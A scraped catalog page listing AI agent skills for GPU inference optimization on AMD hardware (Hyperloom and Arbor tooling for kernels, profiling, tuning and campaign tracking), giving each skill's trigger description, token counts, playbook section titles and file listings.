SKILL.mdcore12,727 bytesSKILL.mdcore12,727 bytesSKILL.mdcore12,727 bytesSKILL.mdcore12,727 bytesSKILL.mdcore12,727 bytesSKILL.mdcore12,727 bytes__init__.pyruns616 bytescollectors/__init__.pyruns1,684 bytescollectors/_common.pyruns3,222 bytescollectors/langfuse.pyruns2,238 bytescollectors/sessions.pyruns7,094 bytescollectors/v6.pyruns32,352 bytescollectors/v6_close.pyruns8,629 bytescollectors/v6_critic.pyruns1,384 bytescontracts/session_breakdown.v6.workflow-evaluation.v3.schema.jsonasset44,158 bytescontracts/workflow_contract.v3.jsonasset6,857 bytescritic_reviews.pyruns6,674 bytesexporter.pyruns23,868 bytesrecorder/__init__.pyruns2,214 bytesrecorder/assembler.pyruns12,010 bytesrecorder/baseline_event.pyruns39,252 bytesrecorder/close_out.pyruns21,830 bytesrecorder/conc_sweep_event.pyruns39,990 bytesrecorder/construct.pyruns2,792 bytesrecorder/critic_out.pyruns8,170 bytesrecorder/enablement_event.pyruns33,643 bytesrecorder/enablement_keep_pairing.pyruns2,359 bytesrecorder/event_fields.pyruns9,858 bytesrecorder/event_finalize.pyruns6,797 bytesrecorder/event_ids.pyruns4,640 bytesrecorder/event_rows.pyruns4,107 bytesrecorder/event_sink.pyruns7,000 bytesrecorder/event_timeline.pyruns8,408 bytesrecorder/framework_event.pyruns35,771 bytesrecorder/instrument.pyruns2,360 bytesrecorder/kernel_event.pyruns75,179 bytesrecorder/kernel_gain.pyruns3,054 bytesrecorder/kernel_records.pyruns16,174 bytesrecorder/outcome_stage.pyruns1,464 bytesrecorder/phase_event.pyruns21,725 bytesrecorder/phase_records.pyruns11,673 bytesrecorder/recorder.pyruns16,202 bytesrecorder/recorder_warnings.pyruns4,397 bytesrecorder/roofline_event.pyruns43,222 bytesrecorder/sections.pyruns6,252 bytesrecorder/session_metadata.pyruns11,029 bytesrecorder/stack_event.pyruns21,526 bytesrecorder/tool_versions.pyruns6,816 bytesrecorder/trace.pyruns7,466 bytesrecorder/warm_replay_event.pyruns24,143 bytesrecorder/warm_start_event.pyruns16,680 bytesreporters/__init__.pyruns509 bytesreporters/_renderers/__init__.pyruns191 bytesreporters/_renderers/_agentx_metrics.pyruns3,681 bytesreporters/_renderers/_framework.pyruns5,633 bytesreporters/_renderers/_invocation.pyruns3,378 bytesreporters/_renderers/_kernels.pyruns11,144 bytesreporters/_renderers/attribution.pyruns4,142 bytesreporters/_renderers/baseline.pyruns8,145 bytesreporters/_renderers/capability_summary.pyruns7,168 bytesreporters/_renderers/critic.pyruns6,359 bytesreporters/_renderers/enablement.pyruns3,513 bytesreporters/_renderers/final.pyruns13,014 bytesreporters/_renderers/kernel_lifecycle.pyruns7,704 bytesreporters/_renderers/optimizations.pyruns3,915 bytesreporters/_renderers/param_search.pyruns2,984 bytesreporters/_renderers/phase_timeline.pyruns4,255 bytesreporters/_renderers/roofline.pyruns6,547 bytesreporters/_renderers/session.pyruns4,654 bytesreporters/_renderers/workload.pyruns2,948 bytesreporters/base.pyruns8,415 bytesreporters/compose.pyruns11,445 bytesreporters/cross_section.pyruns14,833 bytesreporters/llm_client.pyruns3,971 bytesreporters/llm_prompt.pyruns5,405 bytesround_archive.pyruns3,416 bytesschema.pyruns54,767 bytesschema_framework.pyruns13,110 bytesschema_kernel.pyruns21,114 bytessession_facts.pyruns5,055 bytessession_package.pyruns26,007 bytesstop_reasons.pyruns9,322 bytesvariant_funnel.pyruns4,688 bytesworkflow_contract.pyruns3,654 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom.inference_optimizer.multi_node
When your agent uses it
Multi-node companion to the inference_optimizer skill. Use when the user prompt asks for inference optimization that needs more GPU / memory than a single pod provides (i.e. ``nodes >= 2``) — typical prompt signals are ``Nodes=N`` / ``N pods`` / ``TP=N`` larger than one pod's GPU count, or any model that cannot fit on one pod's GPUs. Drives a platform-provisioned multi-node cluster through the ``hyperloom multi-node`` CLI.
What it loads into context
Frontmatter
141 tokensAlways available to the agent
SKILL.md
5,002 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Backends
- Cluster hand-off (env-provided)
- Subcommands
- Hard Rules
- Exit Codes
- When Something Looks Wrong
- Interpreting a low-gain result
- Disaggregated + DP-attention prerequisites
- Readiness gate
Scripts executed separately
__init__.py_internal/__init__.py_internal/env_safety.py_internal/external_state.py_internal/gpu_probe.py_internal/infera_support.py_internal/log.py_internal/ray_dashboard.py_internal/server_args_safety.py_internal/serving_probe.py_internal/ssh_client.py_internal/ssh_known_hosts.py_internal/topology_file.pycli.pycommands/__init__.pycommands/infera.pyrestart_pd_args.pyscripts/apply_tracelens_patch_multinode.pyscripts/bootstrap.shscripts/install_geak_node.shscripts/kernel_node_ops.pyscripts/kernel_patch_multinode.pyscripts/kill_multinode.pyscripts/kill_server.shscripts/launch_infera_node.pyscripts/launch_multinode.pyscripts/launch_router.pyscripts/launch_server.shscripts/patch_path_safety.pyscripts/sglang_shape_gate.pystate_paths.py
Files
SKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytesSKILL.mdcore17,604 bytes__init__.pyruns764 bytes_internal/__init__.pyruns247 bytes_internal/env_safety.pyruns1,202 bytes_internal/external_state.pyruns11,121 bytes_internal/gpu_probe.pyruns4,828 bytes_internal/infera_support.pyruns4,645 bytes_internal/log.pyruns748 bytes_internal/ray_dashboard.pyruns5,081 bytes_internal/server_args_safety.pyruns5,552 bytes_internal/serving_probe.pyruns5,241 bytes_internal/ssh_client.pyruns3,496 bytes_internal/ssh_known_hosts.pyruns2,241 bytes_internal/topology_file.pyruns10,176 bytescli.pyruns64,997 bytescommands/__init__.pyruns0 bytescommands/infera.pyruns33,733 bytesrestart_pd_args.pyruns3,434 bytesscripts/apply_tracelens_patch_multinode.pyruns20,845 bytesscripts/bootstrap.shruns3,569 bytesscripts/install_geak_node.shruns1,817 bytesscripts/kernel_node_ops.pyruns3,090 bytesscripts/kernel_patch_multinode.pyruns14,433 bytesscripts/kill_multinode.pyruns17,443 bytesscripts/kill_server.shruns1,888 bytesscripts/launch_infera_node.pyruns22,891 bytesscripts/launch_multinode.pyruns40,584 bytesscripts/launch_router.pyruns9,036 bytesscripts/launch_server.shruns4,592 bytesscripts/patch_path_safety.pyruns10,238 bytesscripts/sglang_shape_gate.pyruns1,737 bytesstate_paths.pyruns1,809 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-setup
When your agent uses it
Configures Hyperloom after pip install --target . by collecting core LLM/runtime settings once, choosing direct baremetal or Docker execution, writing .env, deploying the workspace's local Experience KB service, and running the setup backend directly only in baremetal mode.
What it loads into context
Frontmatter
61 tokensAlways available to the agent
SKILL.md
8,026 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Run Mode Resolution
- Workflow
- Step 1: Confirm Workspace
- Step 2: Ask Configuration Questions
- Step 3: Write `.env`
- Step 4: Run Setup Backend
- Step 5: Confirm Detected Framework
- Experience KB service
- Step 6: Report Result
- Step 7: Hand Off to a Demo Skill
Files
SKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytesSKILL.mdcore31,745 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcampaign-archive
When your agent uses it
Archive a running Arbor campaign to git and rebuild any campaign's exact source tree from the archive. Use when syncing campaign patches/ledgers to the Arbor repo, when asked to recover or reproduce a campaign's code, or when a landed.patch will not apply.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
1,934 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Layout
- Sync
- Recover a campaign's exact tree
- Refresh `stock_base` for a new campaign
- Traps — every one of these has already cost real work
- Pinned image
- Review consistency
Files
SKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytesSKILL.mdcore7,376 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdashboard
When your agent uses it
Watch Arbor campaigns in a browser. Local mode shows one campaign live, collected over ssh where its agents run; global mode shows every campaign on the shared volume by project, user and campaign, with each one's last snapshot and what it learned. Use when asked to watch, monitor or show a campaign or all campaigns, to see a campaign's phase, iteration and verdicts at a glance, or to browse what other campaigns pushed.
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
1,664 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Which mode
- Global mode: everything on the share
- Local mode: one campaign, from where it runs
- The campaign page
- Keep it running
Scripts executed separately
../../../arbor/dashboard/server.mjs
Files
SKILL.mdcore6,495 bytesSKILL.mdcore6,495 bytesSKILL.mdcore6,495 bytesSKILL.mdcore6,495 bytesSKILL.mdcore6,495 bytes../../../arbor/dashboard/server.mjsruns19,256 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubdossier
When your agent uses it
Find, or write if it is missing, the dossier an optimization campaign starts from, for one model, workload and GPU target. When a campaign's gains run small, it says so and ranks kernel rewrites, each written up as a kernel plan. It first looks for an existing dossier and uses it, refreshing only stale parts. A dossier covers model and framework architecture, a method-by-method reading of the served code, the workload and the CPU work it causes, the target and the baseline, a profile, which kernels run and whether better ones exist (AITER, KernelForge, kernels in the codebase that go unused, what B200 picks), an optional B200 comparison the user supplies, AMD's earlier optimizations, and ranked directions. Use before starting or re-basing a campaign, when a new model, framework or workload arrives, when asked what to optimize and why, or to update the dossier in rounds (code re-read, baseline, profile, directions) after a long campaign or a merge has moved the served tree.
What it loads into context
Frontmatter
216 tokensAlways available to the agent
SKILL.md
9,518 tokensWhen the skill is activated
Reference documents
9,119 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- First: look it up
- Ask the user first
- Rules
- The parts
- Updating the dossier: after a long campaign or a merge
- Evaluation: the files exist and hold real content
- Done when
Scripts executed separately
check-dossier.pyfind-dossier.sh
Files
.gitattributesasset19 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytesSKILL.mdcore38,197 bytescheck-dossier.pyruns10,227 bytesfind-dossier.shruns3,619 byteskernel-plan.mddoc20,390 byteskernels.mddoc5,452 bytestemplate.mddoc6,438 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubgeko-hipblaslt-tuning
When your agent uses it
Set up and run geko hipBLASLt GEMM tuning for DeepSeek-V4.1-Flash + vLLM/AgentX serving on AMD gfx950 (MI355X), then verify and interpret the result. Use when installing geko in a container, applying the hipBLASLt 1.5.0 msgpack + scale_type patches, building a merged device library, running geko --tune, confirming the tuned kernels actually fire in serving, or deciding whether hipBLASLt tuning is the right lever (vs aiter). Triggers: "install geko", "geko --tune", "hipBLASLt tuning", "tune decode GEMMs", "verify tuned kernels fire", "geko full_libs", "why is my tune flat".
What it loads into context
Frontmatter
201 tokensAlways available to the agent
SKILL.md
1,659 tokensWhen the skill is activated
Reference documents
7,953 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to use
- Decision first: is hipBLASLt tuning even the lever?
- The 3 critical `geko --tune` patches (hipBLASLt 1.5.0)
- Workflow (one change per step; validate each)
- Verifying the tuned kernels actually fire (do this every time)
- Pitfalls & scale gotchas (read before a long run)
- Files
Scripts executed separately
scripts/geko_install.shscripts/verify_kernels_in_trace.pyscripts/verify_selection.sh
Files
INSTALL.mddoc820 bytesSKILL.mdcore6,035 bytesSKILL.mdcore6,035 bytesSKILL.mdcore6,035 bytesreferences/install.mddoc11,130 bytesreferences/issues.mddoc3,094 bytesreferences/pitfalls.mddoc10,098 bytesreferences/tune-run.mddoc2,926 bytesscripts/geko_install.shruns1,983 bytesscripts/verify_kernels_in_trace.pyruns1,768 bytesscripts/verify_selection.shruns2,434 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhardware
When your agent uses it
AMD Instinct hardware facts for kernel authoring, rooflines and communication — MI350X/MI355X (gfx950, CDNA4) and MI300X/MI325X (gfx942, CDNA3) — with the spec peaks, how to measure what a node achieves, the memory hierarchy, LDS banks, MFMA and block-scaled matrix instructions, the gfx950 ISA additions, XGMI/collective bandwidth, and where each fact comes from. Use when writing or tuning a kernel, pricing a direction against its floor, writing a kernel plan, reading a roofline, or deciding whether a kernel is compute- or bandwidth-bound.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
2,184 tokensWhen the skill is activated
Reference documents
33,713 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The quick facts
- Measured, not spec
- Where to read, by question
- Communication (what KernelForge does not cover)
- Rules
Files
SKILL.mdcore7,242 bytesSKILL.mdcore7,242 bytesreference/INDEX.mddoc9,513 bytesreference/LICENSE-KernelForgeasset1,447 bytesreference/cdna3_mi300/arch.mddoc5,565 bytesreference/cdna3_mi300/clocks_power.mddoc3,037 bytesreference/cdna3_mi300/isa_notes.mddoc3,934 bytesreference/cdna3_mi300/matrix_core.mddoc4,847 bytesreference/cdna3_mi300/memory_hierarchy.mddoc5,033 bytesreference/cdna3_mi300/occupancy.mddoc4,107 bytesreference/cdna3_mi300/peak_tables.mddoc2,595 bytesreference/cdna3_mi300/xcd_chiplet.mddoc5,263 bytesreference/cdna4_mi350/arch.mddoc5,123 bytesreference/cdna4_mi350/clocks_power.mddoc3,048 bytesreference/cdna4_mi350/fp4_fp6_microscaling.mddoc4,092 bytesreference/cdna4_mi350/isa_notes.mddoc3,678 bytesreference/cdna4_mi350/matrix_core_blockscale.mddoc4,752 bytesreference/cdna4_mi350/memory.mddoc3,998 bytesreference/cdna4_mi350/peak_tables.mddoc2,766 bytesreference/shared/dtype_numerics.mddoc4,930 bytesreference/shared/hbm_infinity_fabric.mddoc4,592 bytesreference/shared/l2_xcd_swizzle.mddoc4,322 bytesreference/shared/matrix_core_mfma_smfmac.mddoc6,232 bytesreference/shared/memory_model_lds_bank.mddoc4,644 bytesreference/shared/wavefront_simd_vgpr_agpr.mddoc4,901 bytes../serving-playbook/knobs.jsonasset38,870 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubkernels
When your agent uses it
Before writing, porting or tuning a GPU kernel for LLM serving on AMD Instinct (MI350X/MI355X gfx950, MI300X gfx942) — AITER's tuned tables and tuner first; then which language for which kernel (Triton, FlyDSL, CK, HIP/assembly) and why; what the container image actually ships (probe-image.sh); and proving correctness with a negative control and speed graph-captured at the served shapes (kbench.py), with KernelForge's FlyDSL, Triton, CK, HIP and AITER references. Use when a kernel plan must name its language, when choosing Triton vs FlyDSL vs CK vs HIP, or before stages S1–S3 of a rewrite.
What it loads into context
Frontmatter
158 tokensAlways available to the agent
SKILL.md
8,699 tokensWhen the skill is activated
Reference documents
181,210 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Before writing anything: the order of resort
- 2. Which tool for which kernel
- 3. Check what the image ships: `probe-image.sh`
- 4. The workflow: kernel-plan stages with these tools
- 5. `kbench.py`
- 6. Pitfalls that cost time on gfx950
- 7. Where to read, by question
- Rules
Scripts executed separately
kbench.pyprobe-image.shreference/examples/flydsl-softmax-forge-loop/driver.pyreference/examples/flydsl-softmax-forge-loop/graph_harness.pyreference/examples/flydsl-softmax-forge-loop/run_example.shreference/examples/flydsl-softmax-forge-loop/softmax_kernel.pyreference/examples/flydsl_gemma_rmsnorm/driver.pyreference/examples/flydsl_gemma_rmsnorm/graph_harness.pyreference/examples/flydsl_gemma_rmsnorm/rmsnorm_kernel.pyreference/examples/flydsl_gemma_rmsnorm/run_example.shreference/examples/triton2flydsl-mxfp8-grouped-gemm/driver.pyreference/examples/triton2flydsl-mxfp8-grouped-gemm/graph_harness.pyreference/examples/triton2flydsl-mxfp8-grouped-gemm/mxfp8_grouped_gemm.pyreference/examples/triton2flydsl-mxfp8-grouped-gemm/run_example.shreference/examples/triton2flydsl-softmax-flydsl-rewrite/driver.pyreference/examples/triton2flydsl-softmax-flydsl-rewrite/graph_harness.pyreference/examples/triton2flydsl-softmax-flydsl-rewrite/run_example.shreference/examples/triton2flydsl-softmax-flydsl-rewrite/softmax.py
Files
.gitattributesasset19 bytesSKILL.mdcore30,981 bytesSKILL.mdcore30,981 bytesSKILL.mdcore30,981 bytesSKILL.mdcore30,981 bytesSKILL.mdcore30,981 bytesSKILL.mdcore30,981 byteskbench.pyruns19,734 bytesprobe-image.shruns9,681 bytesreference/LICENSE-KernelForgeasset1,447 bytesreference/README.mddoc4,431 bytesreference/STALE.mddoc3,563 bytesreference/examples/flydsl-softmax-forge-loop/driver.pyruns5,411 bytesreference/examples/flydsl-softmax-forge-loop/graph_harness.pyruns2,828 bytesreference/examples/flydsl-softmax-forge-loop/program.mddoc2,080 bytesreference/examples/flydsl-softmax-forge-loop/run_example.shruns3,557 bytesreference/examples/flydsl-softmax-forge-loop/softmax_kernel.pyruns10,903 bytesreference/examples/flydsl_gemma_rmsnorm/driver.pyruns5,323 bytesreference/examples/flydsl_gemma_rmsnorm/graph_harness.pyruns2,828 bytesreference/examples/flydsl_gemma_rmsnorm/program.mddoc3,150 bytesreference/examples/flydsl_gemma_rmsnorm/rmsnorm_kernel.pyruns647 bytesreference/examples/flydsl_gemma_rmsnorm/run_example.shruns3,547 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/config.yamlasset938 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/driver.pyruns11,679 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/graph_harness.pyruns2,212 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/mxfp8_grouped_gemm.pyruns4,778 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/program.mddoc1,554 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/run_example.shruns3,046 bytesreference/examples/triton2flydsl-mxfp8-grouped-gemm/session_cases.jsonasset1,377 bytesreference/examples/triton2flydsl-softmax-flydsl-rewrite/config.yamlasset1,593 bytesreference/examples/triton2flydsl-softmax-flydsl-rewrite/driver.pyruns7,032 bytesreference/examples/triton2flydsl-softmax-flydsl-rewrite/graph_harness.pyruns2,828 bytesreference/examples/triton2flydsl-softmax-flydsl-rewrite/program.mddoc2,138 bytesreference/examples/triton2flydsl-softmax-flydsl-rewrite/run_example.shruns4,233 bytesreference/examples/triton2flydsl-softmax-flydsl-rewrite/softmax.pyruns1,510 bytesreference/knowledge_base/README.mddoc1,655 bytesreference/knowledge_base/aiter/backend_dispatch.mddoc6,092 bytesreference/knowledge_base/aiter/integration_patterns.mddoc8,799 bytesreference/knowledge_base/aiter/jit_and_build.mddoc6,248 bytesreference/knowledge_base/aiter/operator_catalog.mddoc12,238 bytesreference/knowledge_base/aiter/pitfalls.mddoc7,534 bytesreference/knowledge_base/ck/ck_playbook.mddoc208,635 bytesreference/knowledge_base/ck/pitfalls.mddoc4,167 bytesreference/knowledge_base/ck/tile_programming.mddoc1,293 bytesreference/knowledge_base/ck/vsa_sparse_fwd_inference.mddoc2,959 bytesreference/knowledge_base/flydsl/README.mddoc3,255 bytesreference/knowledge_base/flydsl/compilation_pipeline.mddoc7,826 bytesreference/knowledge_base/flydsl/dialect.mddoc10,047 bytesreference/knowledge_base/flydsl/dsl_api.mddoc16,849 bytesreference/knowledge_base/flydsl/dsl_patterns.mddoc1,225 bytesreference/knowledge_base/flydsl/env_vars.mddoc4,901 bytesreference/knowledge_base/flydsl/gemm_optimization.mddoc11,940 bytesreference/knowledge_base/flydsl/kernel_patterns.mddoc11,934 bytesreference/knowledge_base/flydsl/kernels_inventory.mddoc6,334 bytesreference/knowledge_base/flydsl/lds_optimization.mddoc8,446 bytesreference/knowledge_base/flydsl/overview.mddoc8,446 bytesreference/knowledge_base/flydsl/pitfalls.mddoc11,449 bytesreference/knowledge_base/flydsl/skills_index.mddoc3,723 bytesreference/knowledge_base/hip/compilation_and_build.mddoc5,842 bytesreference/knowledge_base/hip/hip_api_reference.mddoc6,170 bytesreference/knowledge_base/hip/hipkittens_guide.mddoc9,865 bytesreference/knowledge_base/hip/hipkittens_playbook.mddoc105,403 bytesreference/knowledge_base/hip/kernel_patterns.mddoc11,375 bytesreference/knowledge_base/hip/mfma_and_register_ops.mddoc10,401 bytesreference/knowledge_base/hip/mxfp8_grouped_gemm_hip.mddoc9,475 bytesreference/knowledge_base/hip/pitfalls.mddoc5,860 bytesreference/knowledge_base/skills/mfma_16x16x128_f8f6f4_fp4_operand_layout.jsonasset6,887 bytesreference/knowledge_base/skills/mfma_16x16x128_f8f6f4_operand_layout.jsonasset2,896 bytesreference/knowledge_base/triton/auto_api_patterns.mddoc3,048 bytesreference/knowledge_base/triton/auto_constraints.mddoc3,654 bytesreference/knowledge_base/triton/auto_env_knobs.mddoc515 bytesreference/knowledge_base/triton/auto_known_issues.mddoc2,821 bytesreference/knowledge_base/triton/autotune_guide.mddoc1,969 bytesreference/knowledge_base/triton/pitfalls.mddoc2,095 bytesreference/knowledge_base/triton/tl_dot_scaled_gfx950.mddoc4,027 bytesreference/local_knowledge/framework/aiter/operators/fused_moe_grouped_gemm/tuning.mddoc8,436 bytesreference/local_knowledge/framework/aiter/overall/authoring_delegation.mddoc3,266 bytesreference/local_knowledge/framework/aiter/overall/tuning_db.mddoc6,877 bytesreference/local_knowledge/framework/aiter/skills/optimize/aiter_levers/flydsl_path.mddoc5,258 bytesreference/local_knowledge/languages/flydsl/skills/optimize/flydsl_levers/kernel_families.mddoc4,395 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubknowledge-collector
When your agent uses it
Share what an Arbor campaign learned so the next campaign on the model starts from it, and read what earlier campaigns learned. Collects each iteration's outcome and why (kept, reverted, probed, not measured), the ledger's facts, assumptions and dead ends, profile reports, the dossier, and the patches, with a manifest, and pushes them to the shared volume. Use at the end of a campaign or chunk, after a profile or a kept change, when asked to share or archive a campaign's results, or before starting a campaign, to see what others learned on the same model.
What it loads into context
Frontmatter
129 tokensAlways available to the agent
SKILL.md
1,339 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it collects
- Run it
- Profiles and the dossier
- Reading what others learned
Files
SKILL.mdcore5,293 bytesSKILL.mdcore5,293 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmerge-optimization-trees
When your agent uses it
Merge several independently-discovered optimizations (PRs, campaign trees, forks) into one measurable baseline: branch contended sites in CODE behind per-feature knobs, choose a lean default and test that set, bisect when the lean set is broken, compare contended sites pairwise, stack the winners, and bank the losers. Use when consolidating optimization PRs or Arbor campaign trees, when two trees touch the same files, or when asked which combination of optimizations to ship.
What it loads into context
Frontmatter
114 tokensAlways available to the agent
SKILL.md
3,947 tokensWhen the skill is activated
Reference documents
2,498 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The method
- Why this process exists
- 1. One branch, branching in code at each conflict
- 2. Choose a lean, and test that lean set as the baseline
- 3. If the lean set is broken, binary-search for the culprit
- 4. Compare contended sites pairwise, in isolation
- 5. Stack the winners and check the effects stack
- 6. Bank the losers — do not delete them
- Traps that have cost real time
- Anti-patterns
- Additional resources
Scripts executed separately
scripts/overlap.py
Files
SKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesSKILL.mdcore16,884 bytesreference.mddoc11,012 bytesscripts/overlap.pyruns7,049 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubplan
When your agent uses it
Write the plan for an optimization round before the round runs, from the dossier, the ledger and the outcomes of earlier iterations, in the round-plan format (template.md): the directions picked and why, each work item's expected gain against the noise floor, how each is checked, gates with thresholds, stop conditions, sources; then, after the round, settle it item by item. Use when asked to plan a round, turn a dossier's directions into work, decide what a campaign should try next and why, or record what a finished round showed, so it carries over as long-term memory.
What it loads into context
Frontmatter
125 tokensAlways available to the agent
SKILL.md
1,209 tokensWhen the skill is activated
Reference documents
753 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Inputs, read in this order
- What each section owes
- During the round
- After the round: settle it
Files
SKILL.mdcore4,784 bytesSKILL.mdcore4,784 bytesSKILL.mdcore4,784 bytesSKILL.mdcore4,784 bytestemplate.mddoc2,927 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprofiler
When your agent uses it
Profile an LLM serving workload on ROCm to find where GPU time goes, with TraceLens on PyTorch-profiler traces of the served program. Start from the host's profile when there is one (in component mode, MB's TraceLens profile of the root); take a trace of your own only for what it does not cover, or after a KEEP moved the tree. Use when asked to profile, rank optimization sites, compare two trees' profiles, or write a dossier's profile (part 7) or kernel usage (part 8).
What it loads into context
Frontmatter
117 tokensAlways available to the agent
SKILL.md
1,483 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. The host's profile first
- 2. Take a trace
- 3. Read it
- 4. Graph replay
- 5. Why a kernel is slow
- 6. The report
Files
.gitattributesasset19 bytesSKILL.mdcore5,913 bytesSKILL.mdcore5,913 bytesSKILL.mdcore5,913 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrealtime-collector
When your agent uses it
Push an Arbor campaign's live state (phase, iteration in flight, verdicts, baseline and best, the log's tail) to the shared volume every minute, where the dashboard's global mode and other people read it, and set up the ssh access to the share that it needs. Use when starting or restarting a campaign, when a campaign is missing from the share or its snapshot is stale, or when asked to make a campaign visible to others.
What it loads into context
Frontmatter
99 tokensAlways available to the agent
SKILL.md
1,937 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it does
- Once per person: reach the share
- Names: project, user, campaign
- Run it beside the campaign
- When the share cannot be reached
- Reading it
- Settings
Files
SKILL.mdcore7,545 bytesSKILL.mdcore7,545 bytesSKILL.mdcore7,545 bytesSKILL.mdcore7,545 bytesSKILL.mdcore7,545 bytesSKILL.mdcore7,545 bytes../../../arbor/collect/projects.jsonasset1,795 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubserving-playbook
When your agent uses it
The rules that hold for serving changes on AMD GPUs (price on this node, prove each arm differed, judge a policy at more than one operating point, numerics changes need the accuracy gate, bundles go in as one change) and knobs.json, the knob catalog Arbor's harness reads. Use before a knob search, when a change shows no effect, or when a change may alter outputs.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
842 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The knob catalog: `knobs.json`
- Rules that hold for every serving change
- How this reaches a campaign
Files
SKILL.mdcore3,591 bytesknobs.jsonasset38,870 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-kb
When your agent uses it
Operates an Experience KB service with the hyperloom-kb CLI. Checks its health, labels its state, restores a label to roll back, excludes or includes an Experience with a reason, and lists or exports what was written to it. Use when asked to label, roll back, restore, exclude, include, list, or export Experiences, or to embed these commands in another tool.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
1,244 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The state reads see
- Health and metrics
- Label and restore
- Exclude and include
- List and export
- Embed the commands in another tool
Files
SKILL.mdcore5,103 bytesSKILL.mdcore5,103 bytesSKILL.mdcore5,103 bytesSKILL.mdcore5,103 bytesSKILL.mdcore5,103 bytesSKILL.mdcore5,103 bytesSKILL.mdcore5,103 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubkernel-trace-analysis
When your agent uses it
